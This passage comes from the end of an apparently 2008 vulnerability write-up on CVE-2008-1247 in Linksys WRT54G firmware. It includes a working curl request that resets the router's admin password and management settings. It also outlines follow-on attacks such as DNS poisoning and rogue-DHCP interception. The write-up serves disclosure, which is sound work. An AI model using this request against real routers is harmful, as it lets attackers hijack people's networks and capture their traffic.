http://www.hacker.tld/ is running a tail -f on his/her Web server logs to immediately snatch up
targets. Once a request is submitted, the hacker knows the Linksys WRT54G makes configuration
changes within 10 seconds, which is plenty of time for them to open another terminal and change the
administrative login to block our mark from changing their settings, e.g.:

curl -d "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=1&http_passwd=pwn&http_passwdConfirm=pwn&_http_enable=1&web_wl_filter=1&remote_management=0&upnp_enable=1&layout=en" http:///manage.tri

Here the hacker can now log in as admin with password 'pwn' with complete freedom to _REMOTELY_
monitor the mark's internal and outgoing network traffic. This can allow for capturing passwords
via DNS poisoning on the router, man-in-the-middle attacks by pointing the local address of the
router to a rogue DHCP server and accordingly, rogue network of the attacker's, plus more.

++| Conclusion
----------------------
It is my intention in finalizing this document that the reader understands that the Linksys WRT54G
firmware version 1.00.9 does not care if you inside or outside its local network. Nor does it care
whether or not you have the level of privilege thought to be necessary for manipulating sensitive
objects.

Thanks go to hw2B for suggesting I write all of this garbage out.

++| URLs
----------------------
https://kinqpinz.info/lib/wrt54g/ (demonstration page with embedded HTML forms found in this document)
https://kinqpinz.info/lib/wrt54g/own.txt (initial findings from February 2008)
https://kinqpinz.info/lib/wrt54g/own2.txt (this document)
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1247 (CVE-2008-1247)